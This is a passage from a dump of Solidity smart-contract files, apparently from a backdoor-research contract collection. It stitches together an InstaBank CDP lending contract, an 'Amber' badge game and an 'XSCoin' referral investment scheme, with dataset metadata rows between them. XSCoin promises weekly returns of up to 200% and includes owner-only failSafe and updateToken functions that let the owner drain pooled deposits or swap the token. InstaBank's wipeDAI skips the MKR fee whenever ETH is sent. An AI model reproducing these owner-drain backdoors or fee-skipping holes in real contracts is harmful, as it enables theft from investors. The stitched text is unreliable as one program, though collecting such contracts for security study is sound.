function peek() external view returns (bytes32, bool);
}
interface WETHFace {
function balanceOf(address who) external view returns (uint256);
function deposit() external payable;
function withdraw(uint wad) external;
}
interface InstaKyber {
function executeTrade(address src,
address dest,
uint srcAmt,
uint minConversionRate,
uint maxDestAmt)
external
payable
returns (uint destAmt);
function getExpectedPrice(address src, address dest, uint srcAmt) external view returns (uint, uint);
}
contract Registry {
address public addressRegistry;
modifier onlyAdmin() {
require(msg.sender == getAddress("admin"), "Permission Denied");
_;
}
function getAddress(string memory name) internal view returns (address) {
AddressRegistry addrReg = AddressRegistry(addressRegistry);
return addrReg.getAddr(name);
}
}
contract GlobalVar is Registry {
using SafeMath for uint;
using SafeMath for uint256;
address cdpAddr; // SaiTub
mapping(uint => address) cdps; // CDP Number >>> Borrower
mapping(address => bool) resolvers;
bool public freezed;
modifier isFreezed() {
require(!freezed, "Operation Denied.");
_;
}
modifier isCupOwner(uint cdpNum) {
require(cdps[cdpNum] == msg.sender || cdps[cdpNum] == address(0x0) || cdpNum == 0, "Permission Denied");
_;
}
function pethPEReth(uint ethNum) public view returns (uint rPETH) {
MakerCDP loanMaster = MakerCDP(cdpAddr);
rPETH = (ethNum.mul(10 ** 27)).div(loanMaster.per());
}
}
contract BorrowLoan is GlobalVar {
// uint cdpNum
event LockedETH(uint cdpNum, address borrower, uint lockETH, uint lockPETH);
event LoanedDAI(uint cdpNum, address borrower, uint loanDAI, address payTo);
event NewCDP(uint cdpNum, address borrower);
function borrow(uint cdpUint, uint daiDraw, address beneficiary) public payable isFreezed isCupOwner(cdpUint) {
require(!freezed, "Operation Disabled.");
MakerCDP loanMaster = MakerCDP(cdpAddr);
bytes32 cup = bytes32(cdpUint);
// creating new CDP
if (cdpUint == 0) {
cup = loanMaster.open();
cdps[uint(cup)] = msg.sender;
emit NewCDP(uint(cup), msg.sender);
}
// locking ETH
if (msg.value > 0) {
WETHFace wethTkn = WETHFace(getAddress("weth"));
wethTkn.deposit.value(msg.value)(); // ETH to WETH
uint pethToLock = pethPEReth(msg.value);
loanMaster.join(pethToLock); // WETH to PETH
loanMaster.lock(cup, pethToLock); // PETH to CDP
emit LockedETH(uint(cup),
msg.sender,
msg.value,
pethToLock);
}
// minting DAI
if (daiDraw > 0) {
loanMaster.draw(cup, daiDraw);
IERC20 daiTkn = IERC20(getAddress("dai"));
address payTo = beneficiary;
if (beneficiary == address(0)) {
payTo = msg.sender;
}
daiTkn.transfer(payTo, daiDraw);
emit LoanedDAI(uint(cup),
msg.sender,
daiDraw,
payTo);
}
}
}
contract RepayLoan is BorrowLoan {
event WipedDAI(uint cdpNum, address borrower, uint daiWipe, uint mkrCharged);
event FreedETH(uint cdpNum, address borrower, uint ethFree);
event ShutCDP(uint cdpNum, address borrower, uint daiWipe, uint ethFree);
function wipeDAI(uint cdpNum, uint daiWipe) public payable {
address dai = getAddress("dai");
address mkr = getAddress("mkr");
IERC20 daiTkn = IERC20(dai);
IERC20 mkrTkn = IERC20(mkr);
MakerCDP loanMaster = MakerCDP(cdpAddr);
bytes32 cup = bytes32(cdpNum);
uint contractMKR = mkrTkn.balanceOf(address(this)); // contract MKR balance before wiping
daiTkn.transferFrom(msg.sender, address(this), daiWipe); // get DAI to pay the debt
loanMaster.wipe(cup, daiWipe); // wipe DAI
uint mkrCharged = contractMKR - mkrTkn.balanceOf(address(this)); // MKR fee = before wiping bal - after wiping bal
// Interacting with UniSwap to swap ETH with MKR
if (msg.value > 0) {
// [UniSwap] claiming paid MKR back ETH <> DAI
return;
} else {
// take MKR directly from address
mkrTkn.transferFrom(msg.sender, address(this), mkrCharged); // user paying MKR fees
}
emit WipedDAI(cdpNum,
msg.sender,
daiWipe,
mkrCharged);
}
// TODO => send pethFree from frontend instead of ethFree
function unlockETH(uint cdpNum, uint ethFree) public isFreezed isCupOwner(cdpNum) {
require(!freezed, "Operation Disabled");
bytes32 cup = bytes32(cdpNum);
uint pethToUnlock = pethPEReth(ethFree);
MakerCDP loanMaster = MakerCDP(cdpAddr);
loanMaster.free(cup, pethToUnlock); // CDP to PETH
loanMaster.exit(pethToUnlock); // PETH to WETH
WETHFace wethTkn = WETHFace(getAddress("weth"));
wethTkn.withdraw(ethFree); // WETH to ETH
msg.sender.transfer(ethFree);
emit FreedETH(cdpNum, msg.sender, ethFree);
}
function shut(uint cdpNum, uint daiDebt) public payable isFreezed isCupOwner(cdpNum) {
if (daiDebt > 0) {
wipeDAI(cdpNum, daiDebt);
}
MakerCDP loanMaster = MakerCDP(cdpAddr);
loanMaster.shut(bytes32(cdpNum));
IERC20 pethTkn = IERC20(getAddress("peth"));
uint pethBal = pethTkn.balanceOf(address(this));
loanMaster.exit(pethBal); // PETH to WETH
WETHFace wethTkn = WETHFace(getAddress("weth"));
uint wethBal = wethTkn.balanceOf(address(this));
wethTkn.withdraw(wethBal); // WETH to ETH
msg.sender.transfer(wethBal); // ETH to borrower
cdps[cdpNum] = address(0x0);
emit ShutCDP(cdpNum,
msg.sender,
daiDebt,
wethBal);
}
}
contract MiscTask is RepayLoan {
event TranferInternal(uint cdpNum, address owner, address nextOwner);
event TranferExternal(uint cdpNum, address owner, address nextOwner);
event CDPClaimed(uint cdpNum, address owner);
event ResolverOneWay(uint cdpNum, address owner, address resolverAddress);
event ResolverTwoWay(uint cdpNum, address owner, address resolverAddress);
function transferCDPInternal(uint cdpNum, address nextOwner) public isCupOwner(cdpNum) {
require(nextOwner != address(0x0), "Invalid Address.");
cdps[cdpNum] = nextOwner;
emit TranferInternal(cdpNum, msg.sender, nextOwner);
}
function transferCDPExternal(uint cdpNum, address nextOwner) public isCupOwner(cdpNum) {
require(freezed, "Operation Denied.");
require(nextOwner != address(0x0), "Invalid Address.");
MakerCDP loanMaster = MakerCDP(cdpAddr);
loanMaster.give(bytes32(cdpNum), nextOwner);
cdps[cdpNum] = address(0x0);
emit TranferExternal(cdpNum, msg.sender, nextOwner);
}
// transfering CDP to resolver contract
function changeResolverOneWay(uint cdpNum, address resolverAddress) public isCupOwner(cdpNum) {
Resolver resolverAct = Resolver(resolverAddress);
resolverAct.claimCDP(cdpNum);
resolverAct.transferCDPInternal(cdpNum, resolverAddress);
MakerCDP loanMaster = MakerCDP(cdpAddr);
loanMaster.give(bytes32(cdpNum), resolverAddress);
emit ResolverOneWay(cdpNum, msg.sender, resolverAddress);
}
// transfering CDP to resolver contract
// resolver contract will transfer back CDP
function changeResolverTwoWay(uint cdpNum, address resolverAddress) public payable isCupOwner(cdpNum) {
Resolver resolverAct = Resolver(resolverAddress);
MakerCDP loanMaster = MakerCDP(cdpAddr);
loanMaster.give(bytes32(cdpNum), resolverAddress);
resolverAct.initAct(cdpNum);
emit ResolverTwoWay(cdpNum, msg.sender, resolverAddress);
}
function claimCDP(uint cdpNum) public {
bytes32 cup = bytes32(cdpNum);
MakerCDP loanMaster = MakerCDP(cdpAddr);
address cdpOwner = loanMaster.lad(cup);
cdps[cdpNum] = cdpOwner;
emit CDPClaimed(cdpNum, msg.sender);
}
function getETHRate() public view returns (uint) {
PriceInterface ethRate = PriceInterface(getAddress("ethfeed"));
bytes32 ethrate;
(ethrate,) = ethRate.peek();
return uint(ethrate);
}
function getCDP(uint cdpNum) public view returns (address, bytes32) {
return (cdps[cdpNum], bytes32(cdpNum));
}
function approveERC20() public {
IERC20 wethTkn = IERC20(getAddress("weth"));
wethTkn.approve(cdpAddr, 2 ** 256 - 1);
IERC20 pethTkn = IERC20(getAddress("peth"));
pethTkn.approve(cdpAddr, 2 ** 256 - 1);
IERC20 mkrTkn = IERC20(getAddress("mkr"));
mkrTkn.approve(cdpAddr, 2 ** 256 - 1);
IERC20 daiTkn = IERC20(getAddress("dai"));
daiTkn.approve(cdpAddr, 2 ** 256 - 1);
}
}
contract InstaBank is MiscTask {
event MKRCollected(uint amount);
constructor(address rAddr) public {
addressRegistry = rAddr;
cdpAddr = getAddress("cdp");
approveERC20();
}
function() external payable {}
function freeze(bool stop) public onlyAdmin {
freezed = stop;
}
function manageResolver(address resolverAddress, bool isAllowed) public onlyAdmin {
resolvers[resolverAddress] = isAllowed;
}
// collecting MKR token kept as balance to pay fees
function collectMKR(uint amount) public onlyAdmin {
IERC20 mkrTkn = IERC20(getAddress("mkr"));
mkrTkn.transfer(msg.sender, amount);
emit MKRCollected(amount);
}
}
| 243,902 | 10,996 |
965536da2becc2e09c71ab7d519c38f557ab37f47cd96ae9eb6de58946dfa1e2
| 15,616 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0xe467b8d9b0c69f7d497b8f002a9e7f4b61c84c67.sol
| 3,652 | 12,667 |
pragma solidity 0.4.24;
library SafeMathExt{
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function pow(uint256 a, uint256 b) internal pure returns (uint256) {
if (b == 0){
return 1;
}
if (b == 1){
return a;
}
uint256 c = a;
for(uint i = 1; i<b; i++){
c = mul(c, a);
}
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function roundUp(uint256 a, uint256 b) public pure returns(uint256){
// ((a + b - 1) / b) * b
uint256 c = (mul(div(sub(add(a, b), 1), b), b));
return c;
}
}
contract BadgeFactoryInterface{
function _initBadges(address admin_, uint256 badgeBasePrice_, uint256 badgeStartMultiplier_, uint256 badgeStartQuantity_) external;
function _createNewBadge(address owner_, uint256 price_) external;
function _setOwner(uint256 badgeID_, address owner_) external;
function getOwner(uint256 badgeID_) public view returns(address);
function _increasePrice(uint256 badgeID_) external;
function getPrice(uint256 badgeID_) public view returns(uint256);
function _increaseTotalDivis(uint256 badgeID_, uint256 divis_) external;
function getTotalDivis(uint256 badgeID_) public view returns(uint256);
function _setBuyTime(uint256 badgeID_, uint32 timeStamp_) external;
function getBuyTime(uint256 badgeID_) public view returns(uint32);
function getCreationTime(uint256 badgeID_) public view returns(uint32);
function getChainLength() public view returns(uint256);
function getRandomBadge(uint256 max_, uint256 i_) external view returns(uint256);
function getRandomFactor() external returns(uint256);
}
contract TeamAmberInterface{
function distribute() public payable;
}
contract Amber{
using SafeMathExt for uint256;
BadgeFactoryInterface internal _badgeFactory;
TeamAmberInterface internal _teamAmber;
uint256 internal constant GWEI = 10**9;
uint256 internal constant FINNEY = 10**15;
uint256 internal constant ETH = 10**18;
uint256 internal constant _badgeBasePrice = 25 * FINNEY;
uint256 internal constant _luckyWinners = 5;
uint256 internal constant _sharePreviousOwnerRatio = 50;
uint256 internal constant _shareReferalRatio = 5;
uint256 internal constant _shareDistributionRatio = 45;
address internal _contractOwner;
address internal _admin;
uint256 internal _startTime;
uint256 internal _initCounter;
struct Badge{
address owner;
uint256 price;
uint256 totalDivis;
}
Badge[] private badges;
mapping(address => uint256) private _splitProfit;
mapping(address => uint256) private _flipProfit;
mapping(address => uint256) private _waypointProfit;
mapping(address => address) private _referer;
event onContractStart(uint256 startTime_);
event onRefererSet(address indexed user_, address indexed referer_);
event onBadgeBuy(uint256 indexed badgeID_, address previousOwner_, address indexed buyer_, address indexed referer_, uint256 price_, uint256 newPrice_);
event onWithdraw(address indexed receiver_, uint256 splitProfit_, uint256 flipProfit_, uint256 waypointProfit_);
modifier onlyContractOwner(){
require(msg.sender == _contractOwner, 'Sender is not the contract owner.');
_;
}
modifier isNotAContract(){
require (msg.sender == tx.origin, 'Contracts are not allowed to interact.');
_;
}
modifier isRunning(){
require(_startTime != 0 && _startTime <= now, 'The contract is not running yet.');
_;
}
function isValidBuy(uint256 price_, uint256 msgValue_) public pure returns(bool){
return (price_ == msgValue_);
}
function refererAllowed(address msgSender_, address currentReferer_, address newReferer_) public pure returns(bool){
return (addressNotSet(currentReferer_) && isAddress(newReferer_) && isNotSelf(msgSender_, newReferer_));
}
function addressNotSet(address address_) public pure returns(bool){
return (address_ == 0x0);
}
function isAddress(address address_) public pure returns(bool){
return (address_ != 0x0);
}
function isNotSelf(address msgSender_, address compare_) public pure returns(bool){
return (msgSender_ != compare_);
}
function isFirstBadgeEle(uint256 badgeID_) public pure returns(bool){
return (badgeID_ == 0);
}
function isLastBadgeEle(uint256 badgeID_, uint256 badgeLength_) public pure returns(bool){
assert(badgeID_ <= SafeMathExt.sub(badgeLength_, 1));
return (badgeID_ == SafeMathExt.sub(badgeLength_, 1));
}
function calcShare(uint256 msgValue_, uint256 ratio_) public pure returns(uint256){
assert(ratio_ <= 100 && msgValue_ >= 0);
return (msgValue_ * ratio_) / 100;
}
function _initBadges(address[] owner_, uint256[] price_, uint256[] totalDivis_) internal{
for (uint256 i = 0; i < owner_.length; i++) {
badges.push(Badge(owner_[i], price_[i], totalDivis_[i]));
}
}
function _createNewBadge(address owner_, uint256 price_) internal{
badges.push(Badge(owner_, price_, 0));
}
function _setOwner(uint256 badgeID_, address owner_) internal{
badges[badgeID_].owner = owner_;
}
function getOwner(uint256 badgeID_) public view returns(address){
return badges[badgeID_].owner;
}
function _increasePrice(uint256 badgeID_) internal{
uint256 newPrice = (badges[badgeID_].price * _badgeFactory.getRandomFactor()) / 100;
badges[badgeID_].price = SafeMathExt.roundUp(newPrice, 10000 * GWEI);
}
function getPrice(uint256 badgeID_) public view returns(uint256){
return badges[badgeID_].price;
}
function _increaseTotalDivis(uint256 badgeID_, uint256 divis_) internal{
badges[badgeID_].totalDivis += divis_;
}
function getTotalDivis(uint256 badgeID_) public view returns(uint256){
return badges[badgeID_].totalDivis;
}
function getChainLength() public view returns(uint256){
return badges.length;
}
constructor(address admin_, address teamAmberAddress_) public{
_contractOwner = msg.sender;
_admin = admin_;
_teamAmber = TeamAmberInterface(teamAmberAddress_);
}
function initGame(address badgesFactoryAddress_, address[] owner_, uint256[] price_, uint256[] totalDivis_) external onlyContractOwner{
require(_startTime == 0);
assert(owner_.length == price_.length && price_.length == totalDivis_.length);
if(_badgeFactory == address(0x0)){
_badgeFactory = BadgeFactoryInterface(badgesFactoryAddress_);
}
_initBadges(owner_, price_, totalDivis_);
}
function initReferrals(address[] refArray_) external onlyContractOwner{
require(_startTime == 0);
for (uint256 i = 0; i < refArray_.length; i+=2) {
_refererUpdate(refArray_[i], refArray_[i+1]);
}
}
function _startContract(uint256 delay_) external onlyContractOwner{
require(_startTime == 0);
_startTime = now + delay_;
emit onContractStart(_startTime);
}
//Hex Data: 0x7deb6025
function buy(uint256 badgeID_, address newReferer_) public payable isNotAContract isRunning{
_refererUpdate(msg.sender, newReferer_);
_buy(badgeID_, newReferer_, msg.sender, msg.value);
}
function _buy(uint256 badgeID_, address newReferer_, address msgSender_, uint256 msgValue_) internal{
address previousOwner = getOwner(badgeID_);
require(isNotSelf(msgSender_, getOwner(badgeID_)), 'You can not buy from yourself.');
require(isValidBuy(getPrice(badgeID_), msgValue_), 'It is not a valid buy.');
_diviSplit(badgeID_, previousOwner, msgSender_, msgValue_);
_extendBadges(badgeID_, msgSender_, _badgeBasePrice);
_badgeOwnerChange(badgeID_, msgSender_);
_increasePrice(badgeID_);
emit onBadgeBuy(badgeID_, previousOwner, msgSender_, newReferer_, msgValue_, getPrice(badgeID_));
}
function _refererUpdate(address user_, address newReferer_) internal{
if (refererAllowed(user_, _referer[user_], newReferer_)){
_referer[user_] = newReferer_;
emit onRefererSet(user_, newReferer_);
}
}
function _extendBadges(uint256 badgeID_, address owner_, uint256 price_) internal{
if (isLastBadgeEle(badgeID_, getChainLength())){
_createNewBadge(owner_, price_);
}
}
function _badgeOwnerChange(uint256 badgeID_, address newOwner_) internal{
_setOwner(badgeID_, newOwner_);
}
function _diviSplit(uint256 badgeID_, address previousOwner_, address msgSender_, uint256 msgValue_) internal{
_shareToDistribution(badgeID_, msgValue_, _shareDistributionRatio);
_shareToPreviousOwner(previousOwner_, msgValue_, _sharePreviousOwnerRatio);
_shareToReferer(_referer[msgSender_], msgValue_, _shareReferalRatio);
}
function _shareToDistribution(uint256 badgeID_, uint256 msgValue_, uint256 ratio_) internal{
uint256 share = calcShare(msgValue_, ratio_) / _luckyWinners;
uint256 idx;
for(uint256 i = 0; i < _luckyWinners; i++){
idx = _badgeFactory.getRandomBadge(badgeID_, i);
_increaseTotalDivis(idx, share);
_splitProfit[getOwner(idx)] += share;
}
}
function _shareToPreviousOwner(address previousOwner_, uint256 msgValue_, uint256 ratio_) internal{
_flipProfit[previousOwner_] += calcShare(msgValue_, ratio_);
}
function _shareToReferer(address referer_, uint256 msgValue_, uint256 ratio_) internal{
if (addressNotSet(referer_)){
_waypointProfit[_admin] += calcShare(msgValue_, ratio_);
} else {
_waypointProfit[referer_] += calcShare(msgValue_, ratio_);
}
}
//Hex Data: 0x853828b6
function withdrawAll() public isNotAContract{
uint256 splitProfit = _splitProfit[msg.sender];
_splitProfit[msg.sender] = 0;
uint256 flipProfit = _flipProfit[msg.sender];
_flipProfit[msg.sender] = 0;
uint256 waypointProfit = _waypointProfit[msg.sender];
_waypointProfit[msg.sender] = 0;
_transferDivis(msg.sender, splitProfit + flipProfit + waypointProfit);
emit onWithdraw(msg.sender, splitProfit, flipProfit, waypointProfit);
}
function _transferDivis(address msgSender_, uint256 payout_) internal{
assert(address(this).balance >= payout_);
if(msgSender_ == _admin){
_teamAmber.distribute.value(payout_)();
} else {
msgSender_.transfer(payout_);
}
}
function getStartTime() public view returns (uint256){
return _startTime;
}
function getSplitProfit(address user_) public view returns(uint256){
return _splitProfit[user_];
}
function getFlipProfit(address user_) public view returns(uint256){
return _flipProfit[user_];
}
function getWaypointProfit(address user_) public view returns(uint256){
return _waypointProfit[user_];
}
function getReferer(address user_) public view returns(address){
return _referer[user_];
}
function getBalanceContract() public view returns(uint256){
return address(this).balance;
}
function getAllBadges() public view returns(address[], uint256[], uint256[]){
uint256 chainLength = getChainLength();
return (getBadges(0, chainLength-1));
}
function getBadges(uint256 _from, uint256 _to) public view returns(address[], uint256[], uint256[]){
require(_from <= _to, 'Index FROM needs to be smaller or same than index TO');
address[] memory owner = new address[](_to - _from + 1);
uint256[] memory price = new uint256[](_to - _from + 1);
uint256[] memory totalDivis = new uint256[](_to - _from + 1);
for (uint256 i = _from; i <= _to; i++) {
owner[i - _from] = getOwner(i);
price[i - _from] = getPrice(i);
totalDivis[i - _from] = getTotalDivis(i);
}
return (owner, price, totalDivis);
}
}
| 143,011 | 10,997 |
3e5b2c0294048a2846c54c7b67ddf626a9a331f4776a8c334421a85d77749042
| 15,032 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TX/TXwtAjwqyavxZozgdZuZESAoqc2AqEL2SG_XSCoin.sol
| 3,829 | 14,396 |
//SourceUnit: XscoinTron.sol
pragma solidity 0.5.9;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
contract TRC20 {
function transfer(address to, uint256 value) public returns(bool);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function allowance(address owner, address spender) public view returns (uint256);
function balanceOf(address _owner) public view returns (uint256);
}
contract XSCoin {
struct UserStruct { // user struct
bool isExist;
uint id;
uint referrerID;
uint actualReferrerID;
uint totalEarning;
uint initialInvest;
uint binaryInvest;
uint totalInvest;
uint binaryEarned;
uint weeklyEarned;
uint referralCount;
uint created;
bool doubleBonus;
address[] referral;
}
using SafeMath for uint256;
TRC20 Token;
address public ownerWallet;
address public distribute;
uint public currUserID = 0;
uint public REFERRER_1_LEVEL_LIMIT = 2;
uint public weeklyDistributionPercent_1 = 2500000000000000000;
uint public weeklyDistributionPercent_2 = 3000000000000000000;
uint public doubleBonusPeriod = 15 days;
bool public lockStatus;
mapping (address => UserStruct) public users;
mapping (uint => address) public userList;
event regLevelEvent(address indexed _user, address indexed _referrer, uint _amount, uint _time);
event investlEvent(address indexed _user, uint _amount, uint _time);
event getMoneyForLevelEvent(address indexed _user, uint UserId, uint _type, uint _payout, bool _doubleBonus, uint _time);
event lostMoneyForLevelEvent(address indexed _user, uint UserId, uint _type, uint _payout, bool _doubleBonus, uint _time);
constructor(address _distribute, address _tokenAddress) public {
ownerWallet = msg.sender;
distribute = _distribute;
Token = TRC20(_tokenAddress);
UserStruct memory userStruct;
currUserID++;
userStruct = UserStruct({
isExist: true,
id: currUserID,
referrerID: 0,
actualReferrerID:0,
totalEarning:0,
initialInvest:0,
binaryInvest:0,
totalInvest:0,
binaryEarned:0,
weeklyEarned:0,
referralCount:0,
created: now,
doubleBonus:false,
referral: new address[](0)
});
users[ownerWallet] = userStruct;
userList[currUserID] = ownerWallet;
}
function regUser(uint _referrerID, uint _amount) public {
require(lockStatus == false, "Contract Locked");
require(!users[msg.sender].isExist, 'User exist');
require(_referrerID > 0 && _referrerID <= currUserID, 'Incorrect referrer Id');
require(Token.balanceOf(msg.sender) >= _amount,"insufficient balance");
require(Token.allowance(msg.sender,address(this)) >= _amount,"insufficient allowance");
require(Token.transferFrom(msg.sender,address(this),_amount),"token transfer failed");
uint originalRefID = _referrerID;
if((users[userList[originalRefID]].initialInvest <= _amount))
users[userList[originalRefID]].referralCount = users[userList[originalRefID]].referralCount.add(1);
if((users[userList[originalRefID]].referralCount == 3)
&& (users[userList[originalRefID]].created <= users[userList[originalRefID]].created.add(doubleBonusPeriod))){
users[userList[originalRefID]].doubleBonus = true;
}
if(users[userList[_referrerID]].referral.length >= REFERRER_1_LEVEL_LIMIT)
_referrerID = users[findFreeReferrer(userList[_referrerID])].id;
UserStruct memory userStruct;
currUserID++;
userStruct = UserStruct({
isExist: true,
id: currUserID,
referrerID: _referrerID,
actualReferrerID:originalRefID,
totalEarning:0,
initialInvest:_amount,
binaryInvest:_amount,
totalInvest:_amount,
binaryEarned:0,
weeklyEarned:0,
referralCount:0,
created: now,
doubleBonus:false,
referral: new address[](0)
});
users[msg.sender] = userStruct;
userList[currUserID] = msg.sender;
users[userList[_referrerID]].referral.push(msg.sender);
payForReferrer(users[msg.sender].id);
emit regLevelEvent(msg.sender, userList[_referrerID], _amount, now);
}
function invest(uint _amount) public {
require(lockStatus == false, "Contract Locked");
require(users[msg.sender].isExist, 'User not exist');
require(Token.balanceOf(msg.sender) >= _amount,"insufficient balance");
require(Token.allowance(msg.sender,address(this)) >= _amount,"insufficient allowance");
require(Token.transferFrom(msg.sender,address(this),_amount),"token transfer failed");
users[msg.sender].binaryInvest = users[msg.sender].binaryInvest.add(_amount);
users[msg.sender].totalInvest = users[msg.sender].totalInvest.add(_amount);
emit investlEvent(msg.sender, _amount, now);
}
function binaryCommission(uint _userID,uint _endUserID) public {
require(distribute == msg.sender,"only distribute wallet");
uint _comparisonPayout = binaryComparison(_userID);
address user = userList[_userID];
if(_comparisonPayout > 0){
uint _binaryPayout = (_comparisonPayout.mul(8000000000000000000)).div(100000000000000000000);
require(Token.transfer(user,_binaryPayout),"_binaryPayout transfer failed");
users[users[user].referral[0]].binaryInvest = users[users[user].referral[0]].binaryInvest.sub(_comparisonPayout);
users[users[user].referral[1]].binaryInvest = users[users[user].referral[1]].binaryInvest.sub(_comparisonPayout);
users[user].totalEarning = users[user].totalEarning.add(_binaryPayout);
users[user].binaryEarned = users[user].binaryEarned.add(_binaryPayout);
users[user].binaryInvest = users[user].binaryInvest.add(_comparisonPayout);
emit getMoneyForLevelEvent(user, _userID, 2, _binaryPayout,users[user].doubleBonus, now);
}
else{
emit lostMoneyForLevelEvent(userList[_userID], _userID, 2, 0,users[user].doubleBonus, now);
}
if(_userID < _endUserID){
_userID = _userID.add(1);
binaryCommission(_userID,_endUserID);
}
}
function weeklyInvestCommission(uint _usdPrice, uint _userID,uint _endUserID) public {
require(distribute == msg.sender,"only distribute wallet");
require(_userID > 0, "_userID must be greather than 1");
require(_usdPrice > 0,"_usdPrice must be greather than zero");
address user = userList[_userID];
uint _weeklyPayout = investDistribution(_usdPrice, _userID);
if(_weeklyPayout > 0){
require(Token.transfer(user,_weeklyPayout),"_weeklyPayout transfer failed");
users[user].totalEarning = users[user].totalEarning.add(_weeklyPayout);
users[user].weeklyEarned = users[user].weeklyEarned.add(_weeklyPayout);
emit getMoneyForLevelEvent(user, _userID, 3, _weeklyPayout,users[user].doubleBonus, now);
}
else{
emit lostMoneyForLevelEvent(userList[_userID], _userID, 3, 0,users[user].doubleBonus, now);
}
if(_userID < _endUserID){
_userID = _userID.add(1);
weeklyInvestCommission(_usdPrice, _userID,_endUserID);
}
}
function contractLock(bool _lockStatus) public returns(bool) {
require(msg.sender == ownerWallet, "Invalid User");
lockStatus = _lockStatus;
return true;
}
function updateToken(address _newToken) public returns(bool) {
require(msg.sender == ownerWallet, "Invalid User");
Token = TRC20(_newToken);
return true;
}
function failSafe(address _toUser, uint _amount) public returns (bool) {
require(msg.sender == ownerWallet, "Only Owner Wallet");
require(_toUser != address(0), "Invalid Address");
require(Token.balanceOf(address(this)) >= _amount,"insufficient balance");
require(Token.transfer(_toUser, _amount),"transfer failed");
return true;
}
function getAllUserBinaryCommission(uint _userID, uint _endUserID, uint totalCommission) public view returns(uint){
totalCommission = totalCommission.add(binaryComparison(_userID));
if(_userID < _endUserID){
_userID = _userID.add(1);
return this.getAllUserBinaryCommission(_userID, _endUserID, totalCommission);
}
return totalCommission;
}
function getAllUserWeeklyCommission(uint _userID, uint _endUserID, uint _usdPrice, uint totalCommission) public view returns(uint){
totalCommission = totalCommission.add(investDistribution(_usdPrice, _userID));
if(_userID < _endUserID){
_userID = _userID.add(1);
return this.getAllUserWeeklyCommission(_userID, _endUserID, _usdPrice, totalCommission);
}
return totalCommission;
}
function getTotalEarned() public view returns(uint) {
uint totalEth;
for(uint _userIndex=1;_userIndex<= currUserID;_userIndex++) {
totalEth = totalEth.add(users[userList[_userIndex]].totalEarning);
}
return totalEth;
}
function viewWPUserReferral(address _user) public view returns(address[] memory) {
return users[_user].referral;
}
function findFreeReferrer(address _user) public view returns(address) {
if(users[_user].referral.length < REFERRER_1_LEVEL_LIMIT) return _user;
address[] memory referrals = new address[](126);
referrals[0] = users[_user].referral[0];
referrals[1] = users[_user].referral[1];
address freeReferrer;
bool noFreeReferrer = true;
for(uint i = 0; i < 126; i++) {
if(users[referrals[i]].referral.length == REFERRER_1_LEVEL_LIMIT) {
if(i < 62) {
referrals[(i+1)*2] = users[referrals[i]].referral[0];
referrals[(i+1)*2+1] = users[referrals[i]].referral[1];
}
}
else {
noFreeReferrer = false;
freeReferrer = referrals[i];
break;
}
}
require(!noFreeReferrer, 'No Free Referrer');
return freeReferrer;
}
function investDistribution(uint _usdPrice, uint _userID)internal view returns(uint){
address user = userList[_userID];
if(users[user].totalInvest > 0){
if(users[user].totalInvest < _usdPrice){
uint bonus150Percent = users[user].totalInvest.add(users[user].totalInvest.div(2));
uint percent = weeklyDistributionPercent_1;
if(users[user].doubleBonus == true)
percent = weeklyDistributionPercent_1.mul(2);
if(users[user].weeklyEarned < bonus150Percent){
uint _weekPayout = (users[user].totalInvest).mul(percent).div(100000000000000000000);
if(users[user].weeklyEarned.add(_weekPayout) > bonus150Percent)
return bonus150Percent.sub(users[user].weeklyEarned);
return _weekPayout;
}
}
else if(users[user].totalInvest >= _usdPrice){
uint bonus200Percent = users[user].totalInvest.add(users[user].totalInvest);
uint percent = weeklyDistributionPercent_2;
if(users[user].doubleBonus == true)
percent = weeklyDistributionPercent_2.mul(2);
if(users[user].weeklyEarned < bonus200Percent){
uint _weekPayout = (users[user].totalInvest).mul(percent).div(100000000000000000000);
if(users[user].weeklyEarned.add(_weekPayout) > bonus200Percent)
return bonus200Percent.sub(users[user].weeklyEarned);
return _weekPayout;
}
}
}
return 0;
}
function binaryComparison(uint _userID)internal view returns(uint){
address user = userList[_userID];
if(users[user].referral.length < 2)
return 0;
if((users[users[user].referral[0]].binaryInvest == 0) || (users[users[user].referral[1]].binaryInvest == 0))
return 0;
if(users[users[user].referral[0]].binaryInvest > users[users[user].referral[1]].binaryInvest)
return users[users[user].referral[1]].binaryInvest;
else
return users[users[user].referral[0]].binaryInvest;
}
function payForReferrer(uint _userID)internal {
address user = userList[_userID];
uint _refPayout = (users[user].initialInvest.mul(5000000000000000000)).div(100000000000000000000);
if(_refPayout > 0){
address _ref = userList[users[user].actualReferrerID];
require(Token.transfer(_ref,_refPayout),"referrer payout failed");
users[_ref].totalEarning = users[_ref].totalEarning.add(_refPayout);
emit getMoneyForLevelEvent(_ref, users[user].actualReferrerID, 1, _refPayout, users[user].doubleBonus, now);
}
}
}
| 289,088 | 10,998 |
a79ee8610c4b2c7ac60930aec83d0062eb6734e7ac479814d9aff432768511a2
| 32,558 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
